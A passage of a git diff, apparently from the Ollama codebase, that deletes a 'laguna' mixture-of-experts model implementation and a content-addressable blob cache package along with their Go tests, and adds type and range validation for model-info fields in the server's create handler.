fullRopeBase: c.Float("rope.freq_base", 500000), - fullRopeScale: fullRopeScale, - fullRopeOriginalContextLength: int(c.Uint("rope.scaling.original_context_length", 4096)), - fullRopeAttentionFactor: fullRopeAttentionFactor, - fullRopeBetaFast: c.Float("rope.scaling.beta_fast", 64), - fullRopeBetaSlow: c.Float("rope.scaling.beta_slow", 1), - swaRopeDim: int(c.Uint("rope.swa.dimension_count", c.Uint("attention.key_length"))), - swaRopeBase: c.Float("rope.swa.freq_base", 10000), - swaRopeScale: swaRopeScale, - numExperts: int(c.Uint("expert_count")), - numExpertsUsed: int(c.Uint("expert_used_count")), - normTopKProb: c.Bool("expert_weights_norm", true), - routedScalingFactor: c.Float("expert_weights_scale", 1), - decoderSparseStep: int(c.Uint("decoder_sparse_step", 1)), - denseLayers: denseLayers, - } -} - -func lagunaAttentionFactor(ropeType string, scaleFactor, attentionFactor float32) float32 { - if attentionFactor != 0 { - return attentionFactor - } - if ropeType == "yarn" && scaleFactor > 1 { - return float32(0.1*math.Log(float64(scaleFactor)) + 1) - } - return 1 -} - -func slidingWindowPattern(c fs.Config, numLayers int) []bool { - pattern := c.Bools("attention.sliding_window_pattern") - if len(pattern) == numLayers { - return pattern - } - - layerTypes := configUints(c, "attention.layer_types") - if len(layerTypes) == numLayers { - pattern = make([]bool, numLayers) - for i, layerType := range layerTypes { - pattern[i] = layerType == 1 - } - return pattern - } - - return make([]bool, numLayers) -} - -func configUints(c fs.Config, key string) []uint32 { - keyExists := c.Value(c.Architecture()+"."+key) != nil || c.Value(key) != nil - if cc, ok := c.(interface { - Uints(string, ...[]uint32) []uint32 - }); ok { - if values := cc.Uints(key); len(values) > 0 && (keyExists || !(len(values) == 1 && values[0] == 0)) { - return values - } - } - - ints := c.Ints(key) - if len(ints) > 0 && (keyExists || !(len(ints) == 1 && ints[0] == 0)) { - values := make([]uint32, len(ints)) - for i, v := range ints { - values[i] = uint32(v) - } - return values - } - - if scalar := c.Uint(key); scalar != 0 { - return []uint32{scalar} - } - return nil -} - -func expandIntArray(values []uint32, n int, fallback uint32) []int { - if len(values) == 0 { - values = []uint32{fallback} - } - defaultValue := values[0] - if len(values) == 1 { - defaultValue = values[0] - } - - out := make([]int, n) - for i := range out { - if i < len(values) { - out[i] = int(values[i]) - } else { - out[i] = int(defaultValue) - } - } - return out -} - -func (m *Model) Shift(ctx ml.Context, layer int, key, shift ml.Tensor) (ml.Tensor, error) { - return m.Options.applyRotaryPositionEmbeddings(ctx, layer, key, shift), nil -} - -func (m *Model) Forward(ctx ml.Context, batch input.Batch) (ml.Tensor, error) { - positions := ctx.Input().FromInts(batch.Positions, len(batch.Positions)) - hiddenStates := m.TokenEmbedding.Forward(ctx, batch.Inputs) - - for i, layer := range m.Layers { - if m.Cache != nil { - m.Cache.SetLayer(i) - if wrapper, ok := m.Cache.(*kvcache.WrapperCache); ok { - cacheType := cacheTypeCausal - if m.Options.layerIsSliding(i) { - cacheType = cacheTypeSWA - } - wrapper.SetLayerType(cacheType) - } - } - - var outputs ml.Tensor - if i == len(m.Layers)-1 { - outputs = batch.Outputs - } - - hiddenStates = layer.Forward(ctx, i, hiddenStates, positions, outputs, m.Cache, m.Options) - } - - hiddenStates = m.OutputNorm.Forward(ctx, hiddenStates, m.eps) - return m.Output.Forward(ctx, hiddenStates), nil -} - -func init() { - model.Register("laguna", New) -} - -var _ model.Model = (*Model)(nil) diff --git a/model/models/laguna/model_test.go b/model/models/laguna/model_test.go deleted file mode 100644 index ac7b336b2..000000000 --- a/model/models/laguna/model_test.go +++ /dev/null @@ -1,237 +0,0 @@ -package laguna - -import ( - "iter" - "math" - "testing" -) - -type testConfig map[string]any - -func (c testConfig) Architecture() string { return "laguna" } - -func (c testConfig) key(key string) string { - switch { - case len(key) >= len("tokenizer.") && key[:len("tokenizer.")] == "tokenizer.": - return key - case len(key) >= len("general.") && key[:len("general.")] == "general.": - return key - default: - return "laguna." + key - } -} - -func (c testConfig) String(key string, defaultValue ...string) string { - if v, ok := c[c.key(key)].(string); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return "" -} - -func (c testConfig) Uint(key string, defaultValue ...uint32) uint32 { - switch v := c[c.key(key)].(type) { - case uint32: - return v - case int: - return uint32(v) - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return 0 -} - -func (c testConfig) Float(key string, defaultValue ...float32) float32 { - if v, ok := c[c.key(key)].(float32); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return 0 -} - -func (c testConfig) Bool(key string, defaultValue ...bool) bool { - if v, ok := c[c.key(key)].(bool); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return false -} - -func (c testConfig) Strings(key string, defaultValue ...[]string) []string { - if v, ok := c[c.key(key)].([]string); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return nil -} - -func (c testConfig) Ints(key string, defaultValue ...[]int32) []int32 { - if v, ok := c[c.key(key)].([]int32); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return nil -} - -func (c testConfig) Uints(key string, defaultValue ...[]uint32) []uint32 { - if v, ok := c[c.key(key)].([]uint32); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return nil -} - -func (c testConfig) Floats(key string, defaultValue ...[]float32) []float32 { - if v, ok := c[c.key(key)].([]float32); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return nil -} - -func (c testConfig) Bools(key string, defaultValue ...[]bool) []bool { - if v, ok := c[c.key(key)].([]bool); ok { - return v - } - if len(defaultValue) > 0 { - return defaultValue[0] - } - return nil -} - -func (c testConfig) Len() int { return len(c) } - -func (c testConfig) Keys() iter.Seq[string] { - return func(yield func(string) bool) { - for key := range c { - if !yield(key) { - return - } - } - } -} - -func (c testConfig) Value(key string) any { return c[key] } - -func TestNewOptionsLayerConfig(t *testing.T) { - cfg := testConfig{ - "laguna.block_count": uint32(4), - "laguna.embedding_length": uint32(128), - "laguna.attention.key_length": uint32(16), - "laguna.attention.head_count": []uint32{8, 16, 16, 16}, - "laguna.attention.head_count_kv": uint32(4), - "laguna.attention.layer_norm_rms_epsilon": float32(1e-6), - "laguna.attention.sliding_window": uint32(512), - "laguna.attention.sliding_window_pattern": []bool{false, true, true, true}, - "laguna.rope.dimension_count": uint32(8), - "laguna.rope.freq_base": float32(500000), - "laguna.rope.scaling.factor": float32(32), - "laguna.rope.scaling.original_context_length": uint32(4096), - "laguna.rope.swa.dimension_count": uint32(16), - "laguna.rope.swa.freq_base": float32(10000), - "laguna.expert_count": uint32(32), - "laguna.expert_used_count": uint32(4), - "laguna.expert_weights_norm": true, - "laguna.expert_weights_scale": float32(2.5), - "laguna.decoder_sparse_step": uint32(1), - "laguna.dense_layers": []uint32{0}, - } - - opts := newOptions(cfg, 4) - if got := opts.numHeadsForLayer(0); got != 8 { - t.Fatalf("layer 0 heads = %d, want 8", got) - } - if got := opts.numHeadsForLayer(1); got != 16 { - t.Fatalf("layer 1 heads = %d, want 16", got) - } - if opts.layerIsSliding(0) { - t.Fatal("layer 0 should be full attention") - } - if !opts.layerIsSliding(1) { - t.Fatal("layer 1 should be sliding attention") - } - if opts.layerUsesMoE(0) { - t.Fatal("layer 0 should be dense") - } - if !opts.layerUsesMoE(1) { - t.Fatal("layer 1 should use MoE") - } - if opts.fullRopeDim != 8 || opts.swaRopeDim != 16 { - t.Fatalf("rope dims = full %d swa %d, want 8/16", opts.fullRopeDim, opts.swaRopeDim) - } -} - -func TestNewOptionsYarnAttentionFactorFallback(t *testing.T) { - cfg := testConfig{ - "laguna.block_count": uint32(1), - "laguna.embedding_length": uint32(128), - "laguna.attention.key_length": uint32(16), - "laguna.attention.head_count": uint32(8), - "laguna.attention.head_count_kv": uint32(4), - "laguna.rope.scaling.type": "yarn", - "laguna.rope.scaling.factor": float32(32), - } - - opts := newOptions(cfg, 1) - want := float32(0.1*math.Log(32) + 1) - if got := opts.fullRopeAttentionFactor; math.Abs(float64(got-want)) > 1e-6 { - t.Fatalf("fullRopeAttentionFactor = %v, want %v", got, want) - } -} - -func TestNewRejectsUnsupportedLagunaVariants(t *testing.T) { - tests := []struct { - name string - cfg testConfig - }{ - { - name: "attention sinks", - cfg: testConfig{ - "laguna.attention.sink_enabled": true, - }, - }, - { - name: "non per-head gate", - cfg: testConfig{ - "laguna.attention.gating_type": uint32(0), - }, - }, - { - name: "missing qk norm", - cfg: testConfig{ - "laguna.attention.gating_type": uint32(1), - }, - }, - { - name: "non sigmoid experts", - cfg: testConfig{ - "laguna.attention.gating_type": uint32(1), - "laguna.attention.qk_norm": true, - "laguna.expert_gating_func": uint32(1), - }, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if _, err := New(tt.cfg); err == nil { - t.Fatal("expected unsupported variant error") - } - }) - } -} diff --git a/server/create.go b/server/create.go index fb07e725e..7d3ce33b6 100644 --- a/server/create.go +++ b/server/create.go @@ -11,6 +11,7 @@ import ( "io/fs" "log/slog" "maps" + "math" "net" "net/http" "net/url" @@ -268,34 +269,65 @@ func (s *Server) CreateHandler(c *gin.Context) { } } - strFromInfo := func(k string) string { + strFromInfo := func(k string) (string, error) { v, ok := r.Info[k] if ok { - val := v.(string) - return val + val, ok := v.(string) + if !ok { + return "", fmt.Errorf("info field %q must be a string", k) + } + return val, nil } - return "" + return "", nil } - vFromInfo := func(k string) float64 { + intFromInfo := func(k string) (int, error) { v, ok := r.Info[k] if ok { - val := v.(float64) - return val + val, ok := v.(float64) + if !ok { + return 0, fmt.Errorf("info field %q must be a number", k) + } + if val < 0 || math.Trunc(val) != val || val > float64(maxCreateInfoInt()) { + return 0, fmt.Errorf("info field %q must be a non-negative integer", k) + } + return int(val), nil } - return 0 + return 0, nil } - config.ModelFamily = strFromInfo("model_family") + if config.ModelFamily, err = strFromInfo("model_family"); err != nil { + ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest} + return + } if config.ModelFamily != "" { config.ModelFamilies = []string{config.ModelFamily} } - config.BaseName = strFromInfo("base_name") - config.FileType = strFromInfo("quantization_level") - config.ModelType = strFromInfo("parameter_size") - config.ContextLen = int(vFromInfo("context_length")) - config.EmbedLen = int(vFromInfo("embedding_length")) + if config.BaseName, err = strFromInfo("base_name"); err != nil { + ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest} + return + } + if config.FileType, err = strFromInfo("quantization_level"); err != nil { + ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest} + return + } + if config.ModelType, err = strFromInfo("parameter_size"); err != nil { + ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest} + return + } + contextLen, err := intFromInfo("context_length") + if err != nil { + ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest} + return + } + config.ContextLen = contextLen + embedLen, err := intFromInfo("embedding_length") + if err != nil { + ch <- gin.H{"error": err.Error(), "status": http.StatusBadRequest} + return + } + config.EmbedLen = embedLen } if err := createModel(r, name, baseLayers, config, fn); err != nil { @@ -440,6 +472,10 @@ func convertModelFromFilesWithMediaType(files map[string]string, baseLayers []*l } } +func maxCreateInfoInt() int { + return int(^uint(0) >> 1) +} + func detectModelTypeFromFiles(files map[string]string) string { for fn := range files { if strings.HasSuffix(fn, ".safetensors") { diff --git a/server/internal/cache/blob/cache.go b/server/internal/cache/blob/cache.go deleted file mode 100644 index 2f02ca955..000000000 --- a/server/internal/cache/blob/cache.go +++ /dev/null @@ -1,544 +0,0 @@ -// Package blob implements a content-addressable disk cache for blobs and -// manifests. -package blob - -import ( - "bytes" - "crypto/sha256" - "errors" - "fmt" - "hash" - "io" - "io/fs" - "iter" - "os" - "path/filepath" - "strings" - "time" - - "github.com/ollama/ollama/server/internal/internal/names" -) - -// Entry contains metadata about a blob in the cache. -type Entry struct { - Digest Digest - Size int64 - Time time.Time // when added to the cache -} - -// DiskCache caches blobs and manifests on disk. -// -// The cache is rooted at a directory, which is created if it does not exist. -// -// Blobs are stored in the "blobs" subdirectory, and manifests are stored in the -// "manifests" subdirectory. A example directory structure might look like: -// -// / -// blobs/ -// sha256- - -// manifests/ -// / -// / -// / -// - -// -// The cache is safe for concurrent use. -// -// Name casing is preserved in the cache, but is not significant when resolving -// names. For example, "Foo" and "foo" are considered the same name. -// -// The cache is not safe for concurrent use. It guards concurrent writes, but -// does not prevent duplicated effort. Because blobs are immutable, duplicate -// writes should result in the same file being written to disk. -type DiskCache struct { - // Dir specifies the top-level directory where blobs and manifest - // pointers are stored. - dir string - now func() time.Time - - testHookBeforeFinalWrite func(f *os.File) -} - -// PutBytes is a convenience function for c.Put(d, strings.NewReader(s), int64(len(s))). -func PutBytes[S string | []byte](c *DiskCache, d Digest, data S) error { - return c.Put(d, bytes.NewReader([]byte(data)), int64(len(data))) -} - -// Open opens a cache rooted at the given directory. If the directory does not -// exist, it is created. If the directory is not a directory, an error is -// returned. -func Open(dir string) (*DiskCache, error) { - if dir == "" { - return nil, errors.New("blob: empty directory name") - } - - info, err := os.Stat(dir) - if err == nil && !info.IsDir() { - return nil, fmt.Errorf("%q is not a directory", dir) - } - if err := os.MkdirAll(dir, 0o777); err != nil { - return nil, err - } - - subdirs := []string{"blobs", "manifests"} - for _, subdir := range subdirs { - if err := os.MkdirAll(filepath.Join(dir, subdir), 0o777); err != nil { - return nil, err - } - } - - // TODO(bmizerany): support shards - c := &DiskCache{ - dir: dir, - now: time.Now, - } - return c, nil -} - -func readAndSum(filename string, limit int64) (data []byte, _ Digest, err error) { - f, err := os.Open(filename) - if err != nil { - return nil, Digest{}, err - } - defer f.Close() - - h := sha256.New() - r := io.TeeReader(f, h) - data, err = io.ReadAll(io.LimitReader(r, limit)) - if err != nil { - return nil, Digest{}, err - } - var d Digest - h.Sum(d.sum[:0]) - return data, d, nil -} - -//lint:ignore U1000 used for debugging purposes as needed in tests -var debug = false - -// debugger returns a function that can be used to add a step to the error message. -// The error message will be a list of steps that were taken before the error occurred. -// The steps are added in the order they are called. -// -// To set the error message, call the returned function with an empty string. -// -//lint:ignore U1000 used for debugging purposes as needed in tests -func debugger(err *error) func(step string) { - if !debug { - return func(string) {} - } - var steps []string - return func(step string) { - if step == "" && *err != nil { - *err = fmt.Errorf("%q: %w", steps, *err) - return - } - steps = append(steps, step) - if len(steps) > 100 { - // shift hints in case of a bug that causes a lot of hints - copy(steps, steps[1:]) - steps = steps[:100] - } - } -} - -// Resolve resolves a name to a digest. The name is expected to -// be in either of the following forms: -// -// @ -// @ -// -// -// If a digest is provided, it is returned as is and nothing else happens. -// -// If a name is provided for a manifest that exists in the cache, the digest -// of the manifest is returned. If there is no manifest in the cache, it -// returns [fs.ErrNotExist]. -// -// To cover the case where a manifest may change without the cache knowing -// (e.g. it was reformatted or modified by hand), the manifest data read and -// hashed is passed to a PutBytes call to ensure that the manifest is in the -// blob store. This is done to ensure that future calls to [Get] succeed in -// these cases. -func (c *DiskCache) Resolve(name string) (Digest, error) { - name, digest := splitNameDigest(name) - if digest != "" { - return ParseDigest(digest) - } - - // We want to address manifests files by digest using Get. That requires - // them to be blobs. This cannot be directly accomplished by looking in - // the blob store because manifests can change without Ollama knowing - // (e.g. a user modifies a manifests by hand then pushes it to update - // their model). We also need to support the blob caches inherited from - // older versions of Ollama, which do not store manifests in the blob - // store, so for these cases, we need to handle adding the manifests to - // the blob store, just in time. - // - // So now we read the manifests file, hash it, and copy it to the blob - // store if it's not already there. - // - // This should be cheap because manifests are small, and accessed - // infrequently. - file, err := c.manifestPath(name) - if err != nil { - return Digest{}, err - } - - data, d, err := readAndSum(file, 1<<20) - if err != nil { - return Digest{}, err - } - - // Ideally we'd read the "manifest" file as a manifest to the blob file, - // but we are not changing this yet, so copy the manifest to the blob - // store so it can be addressed by digest subsequent calls to Get. - if err := PutBytes(c, d, data); err != nil { - return Digest{}, err - } - return d, nil -} - -// Put writes a new blob to the cache, identified by its digest. The operation -// reads content from r, which must precisely match both the specified size and -// digest. -// -// Concurrent write safety is achieved through file locking. The implementation -// guarantees write integrity by enforcing size limits and content validation -// before allowing the file to reach its final state. -func (c *DiskCache) Put(d Digest, r io.Reader, size int64) error { - return c.copyNamedFile(c.GetFile(d), r, d, size) -} - -// Import imports a blob from the provided reader into the cache. It reads the -// entire content of the reader, calculates its digest, and stores it in the -// cache. -// -// Import should be considered unsafe for use with untrusted data, such as data -// read from a network. The caller is responsible for ensuring the integrity of -// the data being imported. -func (c *DiskCache) Import(r io.Reader, size int64) (Digest, error) { - // users that want to change the temp dir can set TEMPDIR. - f, err := os.CreateTemp("", "blob-") - if err != nil { - return Digest{}, err - } - defer os.Remove(f.Name()) - - // Copy the blob to a temporary file. - h := sha256.New() - r = io.TeeReader(r, h) - n, err := io.Copy(f, r) - if err != nil { - return Digest{}, err - } - if n != size { - return Digest{}, fmt.Errorf("blob: expected %d bytes, got %d", size, n) - } - - // Check the digest. - var d Digest - h.Sum(d.sum[:0]) - if err := f.Close(); err != nil { - return Digest{}, err - } - name := c.GetFile(d) - // Rename the temporary file to the final file. - if err := os.Rename(f.Name(), name); err != nil { - return Digest{}, err - } - os.Chtimes(name, c.now(), c.now()) // mainly for tests - return d, nil -} - -// Get retrieves a blob from the cache using the provided digest. The operation -// fails if the digest is malformed or if any errors occur during blob -// retrieval. -func (c *DiskCache) Get(d Digest) (Entry, error) { - name := c.GetFile(d) - info, err := os.Stat(name) - if err != nil { - return Entry{}, err - } - if info.Size() == 0 { - return Entry{}, fs.ErrNotExist - } - return Entry{ - Digest: d, - Size: info.Size(), - Time: info.ModTime(), - }, nil -} - -// Link creates a symbolic reference in the cache that maps the provided name -// to a blob identified by its digest, making it retrievable by name using -// [Resolve]. -// -// It returns an error if either the name or digest is invalid, or if link -// creation encounters any issues. -func (c *DiskCache) Link(name string, d Digest) error { - manifest, err := c.manifestPath(name) - if err != nil { - return err - } - f, err := os.OpenFile(c.GetFile(d), os.O_RDONLY, 0) - if err != nil { - return err - } - defer f.Close() - - // TODO(bmizerany): test this happens only if the blob was found to - // avoid leaving debris - if err := os.MkdirAll(filepath.Dir(manifest), 0o777); err != nil { - return err - } - - info, err := f.Stat() - if err != nil { - return err - } - - // Copy manifest to cache directory. - return c.copyNamedFile(manifest, f, d, info.Size()) -} - -// Unlink unlinks the manifest by name from the cache. If the name is not -// found. If a manifest is removed ok will be true, otherwise false. If an -// error occurs, it returns ok false, and the error. -func (c *DiskCache) Unlink(name string) (ok bool, _ error) { - manifest, err := c.manifestPath(name) - if err != nil { - return false, err - } - err = os.Remove(manifest) - if errors.Is(err, fs.ErrNotExist) { - return false, nil - } - return true, err -} - -// GetFile returns the absolute path to the file, in the cache, for the given -// digest. It does not check if the file exists. -// -// The returned path should not be stored, used outside the lifetime of the -// cache, or interpreted in any way. -func (c *DiskCache) GetFile(d Digest) string { - filename := fmt.Sprintf("sha256-%x", d.sum) - return absJoin(c.dir, "blobs", filename) -} - -// Links returns a sequence of link names. The sequence is in lexical order. -// Names are converted from their relative path form to their name form but are -// not guaranteed to be valid. Callers should validate the names before using. -func (c *DiskCache) Links() iter.Seq2[string, error] { - return func(yield func(string, error) bool) { - for path, err := range c.links() { - if err != nil { - yield("", err) - return - } - if !yield(pathToName(path), nil) { - return - } - } - } -} - -// pathToName converts a path to a name. It is the inverse of nameToPath. The -// path is assumed to be in filepath.ToSlash format. -func pathToName(s string) string { - s = strings.TrimPrefix(s, "manifests/") - rr := []rune(s) - for i := len(rr) - 1; i > 0; i-- { - if rr[i] == '/' { - rr[i] = ':' - return string(rr) - } - } - return s -} - -// manifestPath finds the first manifest file on disk that matches the given -// name using a case-insensitive comparison. If no manifest file is found, it -// returns the path where the manifest file would be if it existed. -// -// If two manifest files exists on disk that match the given name using a -// case-insensitive comparison, the one that sorts first, lexically, is -// returned. -func (c *DiskCache) manifestPath(name string) (string, error) { - np, err := nameToPath(name) - if err != nil { - return "", err - } - - maybe := filepath.Join("manifests", np) - for l, err := range c.links() { - if err != nil { - return "", err - } - if strings.EqualFold(maybe, l) { - return filepath.Join(c.dir, l), nil - } - } - return filepath.Join(c.dir, maybe), nil -} - -// links returns a sequence of links in the cache in lexical order. -func (c *DiskCache) links() iter.Seq2[string, error] { - // TODO(bmizerany): reuse empty dirnames if exist - return func(yield func(string, error) bool) { - fsys := os.DirFS(c.dir) - manifests, err := fs.Glob(fsys, "manifests/*/*/*/*") - if err != nil { - yield("", err) - return - } - for _, manifest := range manifests { - if !yield(manifest, nil) { - return - } - } - } -} - -type checkWriter struct { - size int64 - d Digest - f *os.File - h hash.Hash - - w io.Writer // underlying writer; set by creator - n int64 - err error - - testHookBeforeFinalWrite func(*os.File) -} - -func (w *checkWriter) seterr(err error) error { - if w.err == nil { - w.err = err - } - return err -} - -// Write writes p to the underlying hash and writer. The last write to the -// underlying writer is guaranteed to be the last byte of p as verified by the -// hash. -func (w *checkWriter) Write(p []byte) (int, error) { - if w.err != nil { - return 0, w.err - } - - _, err := w.h.Write(p) - if err != nil { - return 0, w.seterr(err) - } - nextSize := w.n + int64(len(p)) - if nextSize == w.size { - // last write. check hash. - sum := w.h.Sum(nil) - if !bytes.Equal(sum, w.d.sum[:]) { - return 0, w.seterr(fmt.Errorf("file content changed underfoot")) - } - if w.testHookBeforeFinalWrite != nil { - w.testHookBeforeFinalWrite(w.f) - } - } - if nextSize > w.size { - return 0, w.seterr(fmt.Errorf("content exceeds expected size: %d > %d", nextSize, w.size)) - } - n, err := w.w.Write(p) - w.n += int64(n) - return n, w.seterr(err) -} - -// copyNamedFile copies file into name, expecting it to have the given Digest -// and size, if that file is not present already. -func (c *DiskCache) copyNamedFile(name string, file io.Reader, out Digest, size int64) error { - info, err := os.Stat(name) - if err == nil && info.Size() == size { - // File already exists with correct size. This is good enough. - // We can skip expensive hash checks. - // - // TODO: Do the hash check, but give caller a way to skip it. - return nil - } - - // Copy file to cache directory. - mode := os.O_RDWR | os.O_CREATE - if err == nil && info.Size() > size { // shouldn't happen but fix in case - mode |= os.O_TRUNC - } - f, err := os.OpenFile(name, mode, 0o666) - if err != nil { - return err - } - defer f.Close() - if size == 0 { - // File now exists with correct size. - // Only one possible zero-length file, so contents are OK too. - // Early return here makes sure there's a "last byte" for code below. - return nil - } - - // From here on, if any of the I/O writing the file fails, - // we make a best-effort attempt to truncate the file f - // before returning, to avoid leaving bad bytes in the file. - - // Copy file to f, but also into h to double-check hash. - cw := &checkWriter{ - d: out, - size: size, - h: sha256.New(), - f: f, - w: f, - - testHookBeforeFinalWrite: c.testHookBeforeFinalWrite, - } - n, err := io.Copy(cw, file) - if err != nil { - f.Truncate(0) - return err - } - if n < size { - f.Truncate(0) - return io.ErrUnexpectedEOF - } - - if err := f.Close(); err != nil { - // Data might not have been written, - // but file may look like it is the right size. - // To be extra careful, remove cached file. - os.Remove(name) - return err - } - os.Chtimes(name, c.now(), c.now()) // mainly for tests - - return nil -} - -func splitNameDigest(s string) (name, digest string) { - i := strings.LastIndexByte(s, '@') - if i < 0 { - return s, "" - } - return s[:i], s[i+1:] -} - -var errInvalidName = errors.New("invalid name") - -func nameToPath(name string) (_ string, err error) { - n := names.Parse(name) - if !n.IsFullyQualified() { - return "", errInvalidName - } - return filepath.Join(n.Host(), n.Namespace(), n.Model(), n.Tag()), nil -} - -func absJoin(pp ...string) string { - abs, err := filepath.Abs(filepath.Join(pp...)) - if err != nil { - panic(err) // this should never happen - } - return abs -} diff --git a/server/internal/cache/blob/cache_test.go b/server/internal/cache/blob/cache_test.go deleted file mode 100644 index af29a3123..000000000 --- a/server/internal/cache/blob/cache_test.go +++ /dev/null @@ -1,688 +0,0 @@ -package blob - -import ( - "crypto/sha256" - "errors" - "fmt" - "io" - "io/fs" - "os" - "path/filepath" - "slices" - "strings" - "testing" - "time" - - "github.com/ollama/ollama/server/internal/testutil" -) - -func init() { - debug = true -} - -var epoch = func() time.Time { - d := time.Date(2021, 1, 1, 0, 0, 0, 0, time.UTC) - if d.IsZero() { - panic("time zero") - } - return d -}() - -func TestOpenErrors(t *testing.T) { - exe, err := os.Executable() - if err != nil { - panic(err) - } - - cases := []struct { - dir string - err string - }{ - {t.TempDir(), ""}, - {"", "empty directory name"}, - {exe, "not a directory"}, - } - - for _, tt := range cases { - t.Run(tt.dir, func(t *testing.T) { - _, err := Open(tt.dir) - if tt.err == "" { - if err != nil { - t.Fatal(err) - } - return - } - if err == nil { - t.Fatal("expected error") - } - if !strings.Contains(err.Error(), tt.err) { - t.Fatalf("err = %v, want %q", err, tt.err) - } - }) - } -} - -func TestGetFile(t *testing.T) { - t.Chdir(t.TempDir()) - - c, err := Open(".") - if err != nil { - t.Fatal(err) - } - - d := mkdigest("1") - got := c.GetFile(d) - cleaned := filepath.Clean(got) - if cleaned != got { - t.Fatalf("got is unclean: %q", got) - } - if !filepath.IsAbs(got) { - t.Fatal("got is not absolute") - } - abs, _ := filepath.Abs(c.dir) - if !strings.HasPrefix(got, abs) { - t.Fatalf("got is not local to %q", c.dir) - } -} - -func TestBasic(t *testing.T) { - c, err := Open(t.TempDir()) - if err != nil { - t.Fatal(err) - } - now := epoch - c.now = func() time.Time { return now } - - checkEntry := entryChecker(t, c) - checkFailed := func(err error) { - if err == nil { - t.Helper() - t.Fatal("expected error") - } - } - - _, err = c.Resolve("invalid") - checkFailed(err) - - _, err = c.Resolve("h/n/m:t") - checkFailed(err) - - dx := mkdigest("x") - - d, err := c.Resolve(fmt.Sprintf("h/n/m:t@%s", dx)) - if err != nil { - t.Fatal(err) - } - if d != dx { - t.Fatalf("d = %v, want %v", d, dx) - } - - _, err = c.Get(Digest{}) - checkFailed(err) - - // not committed yet - _, err = c.Get(dx) - checkFailed(err) - - err = PutBytes(c, dx, "!") - checkFailed(err) - - err = PutBytes(c, dx, "x") - if err != nil { - t.Fatal(err) - } - checkEntry(dx, 1, now) - - t0 := now - now = now.Add(1*time.Hour + 1*time.Minute) - err = PutBytes(c, dx, "x") - if err != nil { - t.Fatal(err) - } - - // check not updated - checkEntry(dx, 1, t0) -} - -type sleepFunc func(d time.Duration) time.Time - -func openTester(t *testing.T) (*DiskCache, sleepFunc) { - t.Helper() - c, err := Open(t.TempDir()) - if err != nil { - t.Fatal(err) - } - now := epoch - c.now = func() time.Time { return now } - return c, func(d time.Duration) time.Time { - now = now.Add(d) - return now - } -} - -func TestManifestPath(t *testing.T) { - check := testutil.Checker(t) - - c, sleep := openTester(t) - - d1 := mkdigest("1") - err := PutBytes(c, d1, "1") - check(err) - - err = c.Link("h/n/m:t", d1) - check(err) - - t0 := sleep(0) - sleep(1 * time.Hour) - err = c.Link("h/n/m:t", d1) // nop expected - check(err) - - file := must(c.manifestPath("h/n/m:t")) - info, err := os.Stat(file) - check(err) - testutil.CheckTime(t, info.ModTime(), t0) -} - -func TestManifestExistsWithoutBlob(t *testing.T) { - t.Chdir(t.TempDir()) - - check := testutil.Checker(t) - - c, err := Open(".") - check(err) - - checkEntry := entryChecker(t, c) - - man := must(c.manifestPath("h/n/m:t")) - os.MkdirAll(filepath.Dir(man), 0o777) - testutil.WriteFile(t, man, "1") - - got, err := c.Resolve("h/n/m:t") - check(err) - - want := mkdigest("1") - if got != want { - t.Fatalf("got = %v, want %v", got, want) - } - - e, err := c.Get(got) - check(err) - checkEntry(got, 1, e.Time) -} - -func TestPut(t *testing.T) { - c, sleep := openTester(t) - - check := testutil.Checker(t) - checkEntry := entryChecker(t, c) - - d := mkdigest("hello, world") - err := PutBytes(c, d, "hello") - if err == nil { - t.Fatal("expected error") - } - - got, err := c.Get(d) - if !errors.Is(err, fs.ErrNotExist) { - t.Fatalf("expected error, got %v", got) - } - - // Put a valid blob - err = PutBytes(c, d, "hello, world") - check(err) - checkEntry(d, 12, sleep(0)) - - // Put a blob with content that does not hash to the digest - err = PutBytes(c, d, "hello") - if err == nil { - t.Fatal("expected error") - } - checkNotExists(t, c, d) - - // Put the valid blob back and check it - err = PutBytes(c, d, "hello, world") - check(err) - checkEntry(d, 12, sleep(0)) - - // Put a blob that errors during Read - err = c.Put(d, &errOnBangReader{s: "!"}, 1) - if err == nil { - t.Fatal("expected error") - } - checkNotExists(t, c, d) - - // Put valid blob back and check it - err = PutBytes(c, d, "hello, world") - check(err) - checkEntry(d, 12, sleep(0)) - - // Put a blob with mismatched size - err = c.Put(d, strings.NewReader("hello, world"), 11) - if err == nil { - t.Fatal("expected error") - } - checkNotExists(t, c, d) - - // Final byte does not match the digest (testing commit phase) - err = PutBytes(c, d, "hello, world$") - if err == nil { - t.Fatal("expected error") - } - checkNotExists(t, c, d) - - reset := c.setTestHookBeforeFinalWrite(func(f *os.File) { - // change mode to read-only - f.Truncate(0) - f.Chmod(0o400) - f.Close() - f1, err := os.OpenFile(f.Name(), os.O_RDONLY, 0) - if err != nil { - t.Fatal(err) - } - t.Cleanup(func() { f1.Close() }) - *f = *f1 - }) - defer reset() - - err = PutBytes(c, d, "hello, world") - if err == nil { - t.Fatal("expected error") - } - checkNotExists(t, c, d) - reset() -} - -func TestImport(t *testing.T) { - c, _ := openTester(t) - - checkEntry := entryChecker(t, c) - - want := mkdigest("x") - got, err := c.Import(strings.NewReader("x"), 1) - if err != nil { - t.Fatal(err) - } - if want != got { - t.Fatalf("digest = %v, want %v", got, want) - } - checkEntry(want, 1, epoch) - - got, err = c.Import(strings.NewReader("x"), 1) - if err != nil { - t.Fatal(err) - } - if want != got { - t.Fatalf("digest = %v, want %v", got, want) - } - checkEntry(want, 1, epoch) -} - -func (c *DiskCache) setTestHookBeforeFinalWrite(h func(*os.File)) (reset func()) { - old := c.testHookBeforeFinalWrite - c.testHookBeforeFinalWrite = h - return func() { c.testHookBeforeFinalWrite = old } -} - -func TestPutGetZero(t *testing.T) { - c, sleep := openTester(t) - - check := 